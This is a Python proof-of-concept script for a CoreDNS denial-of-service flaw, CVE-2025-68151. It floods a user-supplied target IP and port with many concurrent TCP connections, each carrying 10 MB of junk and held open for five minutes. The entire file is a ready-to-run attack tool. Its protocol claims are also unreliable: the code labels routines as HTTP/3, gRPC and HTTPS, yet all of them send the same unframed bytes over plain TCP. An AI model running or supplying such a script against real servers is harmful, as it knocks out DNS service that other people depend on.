#!/usr/bin/env python3
# CVE-2025-68151 PoC - CoreDNS Resource Exhaustion DoS
# Affected: CoreDNS < 1.14.0 (gRPC, HTTPS, HTTP/3 servers)
# Usage: python3 cve-2025-68151-poc.py <target_ip> <port>
import asyncio
import argparse
import sys
from typing import List
async def create_connection(target: str, port: int, conn_id: int):
"""Create a single connection to the target server"""
try:
reader, writer = await asyncio.wait_for(
asyncio.open_connection(target, port),
timeout=5
)
print(f"[+] Connection {conn_id} established to {target}:{port}")
# Send oversized request body to exhaust memory
oversized_data = b'A' * (10 * 1024 * 1024) # 10MB
writer.write(oversized_data)
await writer.drain()
# Keep connection alive
await asyncio.sleep(300)
writer.close()
await writer.wait_closed()
except Exception as e:
print(f"[-] Connection {conn_id} failed: {e}")
async def attack_http3(target: str, port: int, count: int):
"""Attack HTTP/3 server implementation"""
tasks = []
for i in range(count):
task = asyncio.create_task(create_connection(target, port, i))
tasks.append(task)
await asyncio.sleep(0.01) # Stagger connections
await asyncio.gather(*tasks, return_exceptions=True)
async def attack_grpc(target: str, port: int, count: int):
"""Attack gRPC server implementation"""
# gRPC uses HTTP/2, create multiple streams
tasks = []
for i in range(count):
task = asyncio.create_task(create_connection(target, port, i))
tasks.append(task)
await asyncio.gather(*tasks, return_exceptions=True)
async def main():
parser = argparse.ArgumentParser(description='CVE-2025-68151 PoC')
parser.add_argument('target', help='Target IP address')
parser.add_argument('port', type=int, help='Target port')
parser.add_argument('-c', '--count', type=int, default=100,
help='Number of concurrent connections')
parser.add_argument('-t', '--type', choices=['http3', 'grpc', 'https'],
default='https', help='Protocol type')
args = parser.parse_args()
print(f"[*] Starting CVE-2025-68151 attack against {args.target}:{args.port}")
print(f"[*] Creating {args.count} concurrent connections...")
if args.type == 'http3':
await attack_http3(args.target, args.port, args.count)
elif args.type == 'grpc':
await attack_grpc(args.target, args.port, args.count)
else:
await attack_http3(args.target, args.port, args.count)
print("[*] Attack completed")
if __name__ == '__main__':
asyncio.run(main())